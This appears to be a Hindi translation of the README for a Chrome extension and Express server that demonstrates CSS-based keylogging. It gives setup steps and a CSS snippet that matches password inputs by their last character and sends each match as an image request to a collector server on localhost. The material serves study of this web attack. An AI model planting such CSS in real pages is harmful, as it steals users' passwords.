
क्रोम एक्सटेंशन और एक्सप्रेस सर्वर जो CSS की कीलॉगिंग क्षमताओं का शोषण करता है।
Chrome एक्सटेंशन और Express सर्वर जो CSS की की-लॉगिंग क्षमताओं का शोषण करता है।
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions पर जाएँ (या Chrome मेनू खोलें जो ओम्निबॉक्स के दाईं ओर तीन क्षैतिज पट्टियों के आइकन पर क्लिक करके, और अधिक टूल्स मेनू के अंतर्गत एक्सटेंशन चुनें)।Load unpacked extension… पर क्लिक करें।css-keylogger-extension का चयन करें जिसमें आपने यह रिपॉज़िटरी डाउनलोड की है।yarnyarn startC दबाएँ।यह हमला वास्तव में सरल है। CSS एट्रिब्यूट सेलेक्टर का उपयोग करके, कोई व्यक्ति background-image लोड करने के बहाने बाहरी सर्वर से संसाधनों का अनुरोध कर सकता है।
उदाहरण के लिए, निम्नलिखित CSS उन सभी इनपुट्स का चयन करेगा जिनका type password के बराबर है और value a पर समाप्त होता है।
यह तब http://localhost:3000/a से एक छवि लोड करने का प्रयास करेगा।
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
एक सरल स्क्रिप्ट का उपयोग करके कोई css फ़ाइल बना सकता है जो प्रत्येक ASCII वर्ण के लिए एक कस्टम अनुरोध भेजेगी।